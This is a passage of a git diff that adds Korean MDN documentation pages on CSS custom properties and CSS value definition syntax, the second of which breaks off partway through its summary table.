+  -ms-user-select: all;
+  user-select: all;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 UI', '#propdef-user-select', 'user-select')}}</td>
+   <td>{{Spec2('CSS4 UI')}}</td>
+   <td>Initial definition. Also defines <code>-webkit-user-select</code> as a deprecated alias of <code>user-select</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.user-select")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("::selection")}} 의사 요소</li>
+ <li>JavaScript {{domxref("Selection")}} 객체.</li>
+</ul>
diff --git a/files/ko/web/css/using_css_custom_properties/index.html b/files/ko/web/css/using_css_custom_properties/index.html
new file mode 100644
index 0000000000..b485744eda
--- /dev/null
+++ b/files/ko/web/css/using_css_custom_properties/index.html
@@ -0,0 +1,262 @@
+---
+title: 사용자 지정 CSS 속성 사용하기 (변수)
+slug: Web/CSS/Using_CSS_custom_properties
+tags:
+  - CSS
+  - CSS Variable
+  - CSS 변수
+  - Custom Properties
+  - Guide
+  - Web
+translation_of: Web/CSS/Using_CSS_custom_properties
+---
+<div>{{cssref}}</div>
+
+<p><strong>사용자 지정 속성</strong>(<strong>CSS 변수</strong>, <strong>종속 변수</strong>)은 CSS 저작자가 정의하는 개체로, 문서 전반적으로 재사용할 임의의 값을 담습니다. 사용자 지정 속성은 전용 표기법을 사용해 정의하고, (<code><strong>--main-color: black</strong>;</code>) {{cssxref("var", "var()")}} 함수를 사용해 접근할 수 있습니다. (<code>color: <strong>var(--main-color)</strong>;</code>)</p>
+
+<p>복잡한 웹사이트는 어마어마한 양의 CSS를 가지고 있는데, 종종 많은 값을 반복적으로 사용합니다. 예를 들어, 수 백 곳의 서로 다른 위치에서 같은 색상을 사용한다면, 그 색을 바꿔야 할 상황이 왔을 때 대규모 전역 검색 바꾸기를 피할 수 없습니다. 사용자 지정 속성을 사용하면 한 영역에 값을 저장해놓고 다른 여러 곳에서 참조해갈 수 있습니다. 추가로 오는 장점은 의미를 가지는 식별자를 사용한다는 것으로, <code>#00ff00</code>보다는 <code>--main-text-color</code>가 이해하기 쉽다는 것입니다. 특히 같은 색을 다른 맥락에서 사용할 때 이 장점이 도드라집니다.</p>
+
+<p>사용자 지정 속성은 종속 대상이며 부모로부터 상속합니다.</p>
+
+<h2 id="기본_사용법">기본 사용법</h2>
+
+<p>사용자 지정 속성은 두 개의 붙임표로 시작하는 속성의 이름과 함께, 유효한 CSS 값이라면 아무거나 그 값으로 지정해 선언합니다. 다른 일반적인 속성과 마찬가지로 사용자 지정 속성도 아래와 같이 규칙 집합 내에 작성합니다.</p>
+
+<pre class="brush:css; highlight:[2]  language-css notranslate">element {
+  --main-bg-color: brown;
+}
+</pre>
+
+<p>규칙 집합의 선택자는 사용자 지정 속성을 사용할 수 있는 범위를 정의합니다. 흔히 보이는 패턴은 {{cssxref(":root")}} 의사 클래스에 선언해서 여러분의 HTML 문서 어디에서나 사용자 지정 속성에 접근할 수 있도록 구성하는 것입니다.</p>
+
+<pre class="brush: css notranslate">:root {
+  --main-bg-color: brown;
+}</pre>
+
+<p>그러나 반드시 이렇게 선언해야 하는 것은 아닙니다. 범위를 제한해야 하는 적절한 이유가 있을 수도 있으니까요.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 사용자 지정 속성의 이름은 대소문자를 구분합니다. 따라서 <code>--my-color</code>와 <code>--My-color</code>는 서로 다른 속성으로써 처리합니다.</p>
+</div>
+
+<p>위에서 언급했듯, 사용자 지정 속성의 값을 사용할 때에는 일반적인 값의 자리에 {{cssxref("var()")}} 함수를 지정하고, 그 매개변수로는 사용자 지정 속성의 이름을 제공합니다.</p>
+
+<pre class="brush:css; highlight:[2]  language-css notranslate">element {
+  background-color: var(--main-bg-color);
+}
+</pre>
+
+<h2 id="사용자_지정_속성_첫_단계">사용자 지정 속성 첫 단계</h2>
+
+<p>동일한 색상을 여러 클래스에 적용하는, 다음의 간단한 예제로 시작하겠습니다.</p>
+
+<pre class="brush:css; highlight:[3,20,26,32] notranslate">.one {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 50px;
+  height: 50px;
+  display: inline-block;
+}
+
+.two {
+  color: white;
+  background-color: black;
+  margin: 10px;
+  width: 150px;
+  height: 70px;
+  display: inline-block;
+}
+.three {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 75px;
+}
+.four {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 100px;
+}
+
+.five {
+  background-color: brown;
+}
+</pre>
+
+<p>HTML에 적용해보겠습니다.</p>
+
+<pre class="brush:html notranslate">&lt;div&gt;
+  &lt;div class="one"&gt;1:&lt;/div&gt;
+  &lt;div class="two"&gt;2: Text &lt;span class="five"&gt;5 - more text&lt;/span&gt;&lt;/div&gt;
+  &lt;input class="three"&gt;
+  &lt;textarea class="four"&gt;4: Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("사용자_지정_속성_첫_단계",600,180)}}</p>
+
+<p>반복되는 CSS에 주목해보세요. 배경 색을 여러 곳에서 <code>brown</code>으로 지정하고 있습니다. 일부 CSS 선언의 경우 더 상위 단계로 반복되는 항목을 옮겨서 CSS의 상속을 통해 자연스럽게 해결할 수도 있습니다. 그러나 보다 복잡한 프로젝트의 경우 항상 이렇게 할 수 있는 것은 아닙니다. 이 때 {{cssxref(":root")}} 의사 클래스에 사용자 지정 속성을 선언하고, 필요한 곳에서 그 속성을 참조함으로써 반복 코드의 필요를 줄일 수 있습니다.</p>
+
+<pre class="brush:html notranslate">:root {
+  --main-bg-color: brown;
+}
+
+.one {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 50px;
+  height: 50px;
+  display: inline-block;
+}
+
+.two {
+  color: white;
+  background-color: black;
+  margin: 10px;
+  width: 150px;
+  height: 70px;
+  display: inline-block;
+}
+.three {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 75px;
+}
+.four {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 100px;
+}
+
+.five {
+  background-color: var(--main-bg-color);
+}
+</pre>
+
+<p>위의 코드는 이전 예제와 동일한 결과물을 낳지만, 원하는 값에 대한 단 하나의 선언만이 필요합니다. 나중에 페이지 전체에 걸쳐 해당 값을 바꿔야 할 경우 특이 유용해집니다.</p>
+
+<h2 id="사용자_지정_속성의_상속">사용자 지정 속성의 상속</h2>
+
+<p>사용자 지정 속성은 상속 대상입니다. 그러므로 특정 요소에 사용자 지정 속성 값을 설정하지 않은 경우, 그 부모의 값을 사용합니다. 다음 HTML 코드를 살펴보세요.</p>
+
+<pre class="brush: html notranslate">&lt;div class="one"&gt;
+  &lt;div class="two"&gt;
+    &lt;div class="three"&gt;&lt;/div&gt;
+    &lt;div class="four"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>아래의 CSS 코드를 적용할 것입니다.</p>
+
+<pre class="brush: css notranslate">.two {
+  --test: 10px;
+}
+
+.three {
+  --test: 2em;
+}
+</pre>
+
+<p>그러면, <code>var(--test)</code>의 결과는 다음과 같습니다.</p>
+
+<ul>
+ <li><code>class="two"</code> 요소: <code>10px</code></li>
+ <li><code>class="three"</code> 요소: <code>2em</code></li>
+ <li><code>class="four"</code> 요소: <code>10px</code> (부모로부터 상속)</li>
+ <li><code>class="one"</code> 요소: 유효하지 않음. 모든 사용자 지정 속성의 기본값.</li>
+</ul>
+
+<p>이것들은 실제 CSS변수가 아니라 사용자 지정 속성이라는 것을 염두해 두자. 이 값들은 다른 규칙에서 사용하기 위해 따로 저장되는 것이 아니라, 필요할 때만 계산된다. 예를 들어, 요소의 속성을 설정하거나, 형제의 자손 규칙에서 이 요소를 검색할 수는 없다. 이 속성은 일반적인 CSS와 같이, 선택자가 일치하거나 해당 선택자의 하위 항목일 경우에만 설정된다.</p>
+
+<h2 id="사용자_지정_속성_대안_값">사용자 지정 속성 대안 값</h2>
+
+<p>주어진 변수가 아직 정의되지 않았을 때, <a href="/en-US/docs/Web/CSS/var">var()</a> 를 이용하여 여러 개의 <strong>대체 변수</strong>를 정의할 수 있다. 이는 사용자 정의 요소(Custom Element)및 섀도우 돔(Shadow DOM)으로 작업할 때 유용하게 쓸 수 있다.</p>
+
+<p>함수에 있어서의 첫번째 논쟁은 대체될 <a href="https://www.w3.org/TR/css-variables/#custom-property">사용자 속성</a>의 이름이다. 두번째는 아래와 같이 잘못된 <a href="https://www.w3.org/TR/css-variables/#custom-property">사용자 속성</a>을 참조하였을 때 대신 사용할 수 있는 대체 변수이다:</p>
+
+<pre class="brush: css notranslate">.two {
+  color: var(--my-var, red); /* --my-var가 정의되지 않았을 경우 red로 표시됨 */
+}
+
+.three {
+  background-color: var(--my-var, var(--my-background, pink)); /* my-var와 --my-background가 정의되지 않았을 경우 pink로 표시됨 */
+}
+
+.three {
+  background-color: var(--my-var, --my-background, pink); /* 유효하지 않음: "--my-background, pink" */
+}</pre>
+
+<div class="note">
+<p><a href="https://www.w3.org/TR/css-variables/#custom-property">사용자 속성</a>같은 대체 구문은 쉼표를 허용한다. 예를 들어, var(--foo, red, blue)는 빨강, 파랑의 fallback을 정의하고 있다; 즉, 첫번째 쉼표와 함수 마지막 사이에 있는 값들은 모두 대체 변수로 간주한다.</p>
+</div>
+
+<h2 id="유효성과_값">유효성과 값</h2>
+
+<p><em>각 속성과 연관된 기본 CSS 개념의 유효성은 사용자 지정 속성과 관련하여 별로 유용하지 않다. 사용자 속성 값을 분석할 때, 브라우저는 그것들이 어디서 사용되는지 모르기 때문에 거의 모든 값을 유효한 것으로 간주할 수 밖에 없다.</em></p>
+
+<p>불행히도, 이 유효한 값들은 <code>var()</code> 함수 표현을 통하여 이해할 수 없는 문맥 안에서도 사용될 수 있다. 속성 및 사용자 변수로 인해 유효하지 않은 CSS 선언문이 만들어지면 계산된 시간에 유효한 새로운 개념이 생기게 된다<em>.</em></p>
+
+<h2 id="유효하지_않은_변수를_만날_때">유효하지 않은 변수를 만날 때</h2>
+
+<p> 만일 브라우저가 유효하지 않은   <code>var()</code> 구문을 만나게 되면, 그 속성의 초기값이나 상속된 값이 사용된다.</p>
+
+<p>아래의 코드를 보자.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;This paragraph is initial black.&lt;/p&gt; </pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">:root { --text-color: 16px; }
+p { color: blue; }
+p { color: var(--text-color); }
+</pre>
+
+<p>예상대로 브라우저는  <code>--text-color</code> 의 값으로  <code>var(--text-color)</code> 를 대체했지만  <code>16px</code> 는 {{cssxref("color")}}에 유효한 값이 아니다. 대체한 결과, 그 속성은 의미가 통하지 않는다. 브라우저는 이 상황을 두 단계로 처리한다:</p>
+
+<ol>
+ <li>color 속성이 상속되었는지를 확인한다. 확인, 그런데 <code>&lt;p&gt;</code> 가 color 속성과 연관된 부모 엘리먼트가 없다. 그렇다면 다음 단계로 넘어간다.</li>
+ <li>값을 <strong>default initial value</strong>,(초기 설정 디폴트값) 즉, black 으로 처리한다.</li>
+</ol>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('What_happens_with_invalid_variables')}}</p>
+
+<p>단락의 color 값은 blue가 되지 못한다. 유효하지 않은 값이 폴백 (fallback)이 아닌 초기설정 디포트값으로 대체되었기 때문이다. 만일 사용자가 어떠한 매개변수값 없이 <code>color: 16px</code> 를 쓴다면 에러(syntax error)를 받게 될 것이다. 대신 그 전에 지정된 선언이 사용된다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: CSS 속성/값 쌍에서 에러(syntax error)가 나면 그 라인은 무시되지만 계단식으로 지정된 값, 유효하지 않은 대체적용(substitution) - 유효하지 않은 사용자 지정값을 사용하는 것 - 은 무시되지 않으며, 그 값은 상속된다.</p>
+</div>
+
+<h2 id="JavaScript에서의_값">JavaScript에서의 값</h2>
+
+<p>JavaScript로 사용자 속성값을 사용하는 것은 표준 속성을 사용하는 것과 같다.</p>
+
+<pre class="brush: js notranslate">// 인라인 스타일에서 변수 얻기
+element.style.getPropertyValue("--my-var");
+
+// 어느 곳에서나 변수 얻기
+getComputedStyle(element).getPropertyValue("--my-var");
+
+// 인라인 스타일에 변수 설정하기
+element.style.setProperty("--my-var", jsVar + 4);
+</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.custom-property")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("--*", "사용자 지정 속성")}}</li>
+</ul>
diff --git a/files/ko/web/css/value_definition_syntax/index.html b/files/ko/web/css/value_definition_syntax/index.html
new file mode 100644
index 0000000000..bc784b05cc
--- /dev/null
+++ b/files/ko/web/css/value_definition_syntax/index.html
@@ -0,0 +1,436 @@
+---
+title: 값 정의 구문
+slug: Web/CSS/Value_definition_syntax
+tags:
+  - CSS
+  - Guide
+  - Reference
+  - Syntax
+  - 구문
+  - 문법
+translation_of: Web/CSS/Value_definition_syntax
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong>CSS 값 정의 구문</strong>은 <a href="https://ko.wikipedia.org/wiki/%ED%98%95%EC%8B%9D_%EB%AC%B8%EB%B2%95">형식 문법</a>으로서 CSS 속성이나 함수가 받을 수 있는 유효한 값의 집합을 정의합니다.</span> 유효한 값 집합은 정의 구문으로 인한 제한 외에도 반드시 양의 수가 와야 하는 등, 맥락에 따라 추가로 제한될 수 있습니다.</p>
+
+<p>정의 구문은 허용하는 값과 그 값 사이의 상호 작용을 설명합니다. "키워드", 일부 문자 "리터럴", 주어진 CSS 자료형에 속하는 값이거나, 다른 CSS 속성이 구문의 구성 요소가 될 수 있습니다.</p>
+
+<h2 id="구성_요소_값_유형">구성 요소 값 유형</h2>
+
+<h3 id="키워드">키워드</h3>
+
+<h4 id="일반_키워드">일반 키워드</h4>
+
+<p>사전 정의된 의미가 있는 키워드는 따옴표 없이 문자 그대로 나타납니다. 예시로는 <code>auto</code>, <code>smaller</code>, <code>ease-in</code>이 있습니다.</p>
+
+<h4 id="특별_키워드_inherit_initial_unset">특별 키워드: <code>inherit</code>, <code>initial</code>, <code>unset</code></h4>
+
+<p>모든 CSS 속성은 전역으로 정의한 <code>inherit</code>, <code>initial</code>, <code>unset</code> 키워드를 허용합니다. 세 키워드는 값 정의에 나타나지 않으며 암시적으로 정의됩니다.</p>
+
+<h3 id="리터럴">리터럴</h3>
+
+<p>CSS에서 빗금('<code>/</code>')과 쉼표('<code>,</code>')와 같은 일부 문자는 그대로 나타날 수 있고, 속성 정의에서 값 구분을 위해 사용합니다. 쉼표는 종종 열거하는 값이나 수학형 함수의 매개변수를 구분할 때 사용합니다. 빗금은 의미가 다르지만 구문이 같은 값을 분리할 때 종종 사용합니다. 보통 빗금은 단축 속성에서 자료형이 같은 서로 다른 속성의 값을 구분할 때 쓰입니다.</p>
+
+<p>두 기호 모두 값 정의에 문자 그대로 나타납니다.</p>
+
+<h3 id="자료형">자료형</h3>
+
+<h4 id="기본_자료형">기본 자료형</h4>
+
+<p>어떤 종류의 데이터는 CSS의 전반에서 사용하며, 명세의 모든 값에 대해 한 번만 정의합니다. 이런 데이터의 자료형을 "기본 자료형"이라고 부르며, {{CSSxRef("&lt;angle&gt;")}}과 {{CSSxRef("&lt;string&gt;")}}처럼 이름을 '<code>&lt;</code>'와 '<code>&gt;</code>' 기호로 감싸서 표현합니다.</p>
+
+<h4 id="비_말단_자료형">비 말단 자료형</h4>
+
+<p>보다 덜 흔한 자료형인 "비 말단 자료형" 역시 '<code>&lt;</code>'와 '<code>&gt;</code>'로 감쌉니다.</p>
+
+<p>비 말단 자료형에는 두 종류가 존재합니다.</p>
+
+<ul>
+ <li><u>어떤 속성과 같은 이름을 공유하는</u> 자료형으로, 이름을 따옴표로 감싸는 경우. 이 자료형의 값은 해당 속성이 허용하는 값과 동일합니다. 많은 경우 단축 속성에서 사용합니다.</li>
+ <li><u>다른 속성과 이름을 공유하지 않는</u> 자료형. 기본 자료형과 매우 유사하며, 차이점은 이 자료형의 정의가 어디에 되어있나 정도입니다. 기본 자료형과는 달리, 보통 이 자료형을 사용하는 속성과 가까운 곳에서 정의합니다.</li>
+</ul>
+
+<h2 id="구성_요소_값_결합자">구성 요소 값 결합자</h2>
+
+<h3 id="대괄호"><a id="Brackets" name="Brackets">대괄호</a></h3>
+
+<p><u>대괄호</u>는 다수의 개체, 결합자, 곱수를 감싸서 하나의 구성 요소로 변환합니다. 대괄호는 <strong>구성 요소를 묶어서 우선순위 규칙을 우회</strong>할 때 사용합니다.</p>
+
+<pre class="syntaxbox notranslate">bold [ thin &amp;&amp; &lt;length&gt; ]</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold thin 2vh</code></li>
+ <li><code>bold 0 thin</code></li>
+ <li><code>bold thin 3.5em</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>thin bold 3em</code>. <code>bold</code>를 대괄호로 정의한 구성 요소와 병치했기 때문에 반드시 그 앞에 나타나야 합니다.</li>
+</ul>
+
+<h3 id="병치"><a id="Juxtaposition" name="Juxtaposition">병치</a></h3>
+
+<p>여러 단어, 리터럴, 자료형을 한 개 이상의 공백으로만 구분해서 나란히 배치하는 것을 <u>병치</u>라고 합니다. 병치한 모든 구성 요소는 <strong>필수이며 정확히 순서 그대로 나타나야 합니다</strong>.</p>
+
+<pre class="syntaxbox notranslate">bold &lt;length&gt; , thin
+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold 1em, thin</code></li>
+ <li><code>bold 0, thin</code></li>
+ <li><code>bold 2.5cm, thin</code></li>
+ <li><code>bold 3vh, thin</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>thin 1em, bold</code>. 모든 개체가 정확한 순서를 따라야 합니다.</li>
+ <li><code>bold 1em thin</code>. 모든 개체가 필수이므로, 리터럴로 표기한 쉼표 역시 존재해야 합니다.</li>
+ <li><code>bold 0.5ms, thin</code>. <code>ms</code> 값은 {{CSSxRef("&lt;length&gt;")}}가 아닙니다.</li>
+</ul>
+
+<h3 id="이중_앰퍼샌드"><a id="Double_ampersand" name="Double_ampersand">이중 앰퍼샌드</a></h3>
+
+<p>두 개 이상의 구성 요소를 <u>이중 앰퍼샌드</u>, <code>&amp;&amp;</code>로 구분하면 모든 개체가 <strong>필수지만 순서는 상관 없음</strong>을 의미합니다.</p>
+
+<pre class="syntaxbox notranslate">bold &amp;&amp; &lt;length&gt;
+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold 1em</code></li>
+ <li><code>bold 0</code></li>
+ <li><code>2.5cm bold</code></li>
+ <li><code>3vh bold</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>. 두 구성 요소가 값에 모두 나타나야 합니다.</li>
+ <li><code>bold 1em bold</code>, 두 구성 요소는 한 번씩만 나타나야 합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 병치는 이중 앰퍼샌드보다 우선순위가 높습니다. 즉 <code>bold thin &amp;&amp; &lt;length&gt;</code>는 <code>[ bold thin ] &amp;&amp; &lt;length&gt;</code>와 같습니다. 따라서 <code>bold thin &lt;length&gt;</code>와 <code>&lt;length&gt; bold thin</code>은 일치하지만 <code>bold &lt;length&gt; thin</code>은 일치하지 않습니다.</p>
+</div>
+
+<h3 id="이중_바"><a id="Double_bar" name="Double_bar">이중 바</a></h3>
+
+<p>두 개 이상의 구성 요소를 <u>이중 바</u>, <code>||</code>로 구분하면 모든 개체 중 <strong>적어도 하나는 나타나야 하고 순서는 상관하지 않습니다</strong>. 보통 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>의 여러 값을 정의할 때 사용합니다.</p>
+
+<pre class="syntaxbox notranslate">&lt;'border-width'&gt; || &lt;'border-style'&gt; || &lt;'border-color'&gt;
+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>1em solid blue</code></li>
+ <li><code>blue 1em</code></li>
+ <li><code>solid 1px yellow</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>blue yellow</code>, 하나의 구성 요소는 한 번만 나타나야 합니다.</li>
+ <li><code>bold</code>, 이 키워드는 어느 개체에도 속하지 않는 값입니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 이중 앰퍼샌드는 이중 바보다 우선순위가 높습니다. <code>bold || thin &amp;&amp; &lt;length&gt;</code>는 <code>bold || [ thin &amp;&amp; &lt;length&gt; ]</code>와 같으며, <code>bold</code>, <code>thin &lt;length&gt;</code>, <code>bold thin &lt;length&gt;</code>, 그리고 <code>thin &lt;length&gt; bold</code>와 일치합니다. 하지만 <code>&lt;length&gt; bold thin</code>은 일치하지 않는데, <code>bold</code>를 생략하지 않으면 <code>thin &amp;&amp; &lt;length&gt;</code> 구성 요소 이전 또는 다음에 위치해야 하기 때문입니다.</p>
+</div>
+
+<h3 id="단일_바"><a id="Single_bar" name="Single_bar">단일 바</a></h3>
+
+<p>두 개 이상의 개체를 <u>단일 바</u>, <code>|</code>로 구분하면 모든 개체 중에서 <strong>한 개만이 반드시 존재해야 합니다</strong>. 보통 가능한 키워드 값의 목록을 구성할 때 사용합니다.</p>
+
+<pre class="syntaxbox notranslate">&lt;percentage&gt; | &lt;length&gt; | left | center | right | top | bottom</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>3%</code></li>
+ <li><code>0</code></li>
+ <li><code>3.5em</code></li>
+ <li><code>left</code></li>
+ <li><code>center</code></li>
+ <li><code>right</code></li>
+ <li><code>top</code></li>
+ <li><code>bottom</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>center 3%</code>, 오직 하나의 구성 요소만 나타나야 합니다.</li>
+ <li><code>3em 4.5em</code>, 구성 요소는 한 번만 나타나야 합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 이중 바는 단일 바보다 우선순위가 높으며 <code>bold | thin || &lt;length&gt;</code>는 <code>bold | [ thin || &lt;length&gt; ]</code>와 같습니다. <code>bold</code>, <code>thin</code>, <code>&lt;length&gt;</code>, <code>&lt;length&gt; thin</code>, <code>thin &lt;length&gt;</code>는 일치하지만, <code>|</code> 결합자는 좌우 중 단 하나만 선택할 수 있기 때문에 <code>bold &lt;length&gt;</code>는 일치하지 않습니다.</p>
+</div>
+
+<h2 id="구성_요소_값_배수">구성 요소 값 배수</h2>
+
+<p>배수는 기호로서, 앞의 개체를 몇 번이나 반복할 수 있는지 표시합니다. 배수가 없는 개체는 반드시 단 한 번만 나타나야 합니다.</p>
+
+<p>배수는 거듭 표시할 수 없고, 모든 결합자보다 우선순위가 높습니다.</p>
+
+<h3 id="Asterisk" name="Asterisk"><a id="Asterisk_(*)" name="Asterisk_(*)">별표 (<code>*</code>)</a></h3>
+
+<p><u>별표 배수</u>는 개체가 <strong>0번, 한 번, 또는 여러 번 나타날 수 있음</strong>을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller*</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code> 등등.</li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Plus" name="Plus"><a id="Plus_()" name="Plus_()">더하기 (<code>+</code>)</a></h3>
+
+<p><u>더하기 배수</u>는 개체가 <strong>한 번 또는 여러 번 나타날 수 있음</strong>을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code> 등등.</li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>, <code>smaller</code>는 적어도 한 번 나타나야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Question_mark" name="Question_mark"><a id="Question_mark_()" name="Question_mark_()">물음표 (<code>?</code>)</a></h3>
+
+<p><u>물음표 배수</u>는 개체가 선택 사항이며, <strong>반드시 0번 또는 한 번만 나타나야 함</strong>을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller?</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>bold smaller</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold smaller smaller</code>, <code>smaller</code>는 최대 한 번만 나타나야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Curly_braces" name="Curly_braces"><a id="Curly_braces_(_)" name="Curly_braces_(_)">중괄호 (<code>{ }</code>)</a></h3>
+
+<p><u>중괄호 배수</u>는 쉼표로 구분한 두 개의 정수, A와 B를 포함하며 개체가 <strong>최소 A번, 최대 B번 나타나야 함</strong>을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller{1,3}</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>, <code>smaller</code>는 적어도 한 번 나타나야 합니다.</li>
+ <li><code>bold smaller smaller smaller smaller</code>, <code>smaller</code>는 최대 3회까지만 나타나야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Hash_mark" name="Hash_mark"><a id="Hash_mark_()" name="Hash_mark_()">해시 (<code>#</code>)</a></h3>
+
+<p><u>해시 배수</u>는 (더하기 배수처럼) 개체가 한 번 또는 여러 번 나타날 수 있지만, 서로 쉼표로 구분해야 함을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller#</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller, smaller</code></li>
+ <li><code>bold smaller, smaller, smaller</code>, 등등.</li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>, <code>smaller</code>는 적어도 한 번 나타나야 합니다.</li>
+ <li><code>bold smaller smaller smaller</code>, 각각의 <code>smaller</code>를 쉼표로 구분해야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Exclamation_point" name="Exclamation_point"><a id="Exclamation_point_(!)" name="Exclamation_point_(!)">느낌표 (<code>!</code>)</a></h3>
+
+<p>그룹 뒤에 표시하는 <u>느낌표 배수</u>는 그룹이 반드시 존재해야 하며, 그룹 내 항목의 문법으로 인해 전체 콘텐츠가 생략 가능한 형태더라도 최소한 하나의 값은 생성해내야 함을 나타냅니다.</p>
+
+<pre class="syntaxbox notranslate">[ bold? smaller? ]!
+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>smaller</code></li>
+ <li><code>bold smaller</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>도 없고 <code>smaller</code>도 없는 경우, 적어도 하나의 값은 나타나야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+ <li><code>bold smaller bold</code>, <code>bold</code>와 <code>smaller</code>는 단 한 번만 나타나야 합니다.</li>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">기호</th>
+   <th scope="col">이름</th>
+   <th scope="col">설명</th>
+   <th scope="col">예제</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4">결합자</th>
+  </tr>
+  <tr>
+   <td></td>
+   <td>병치</td>
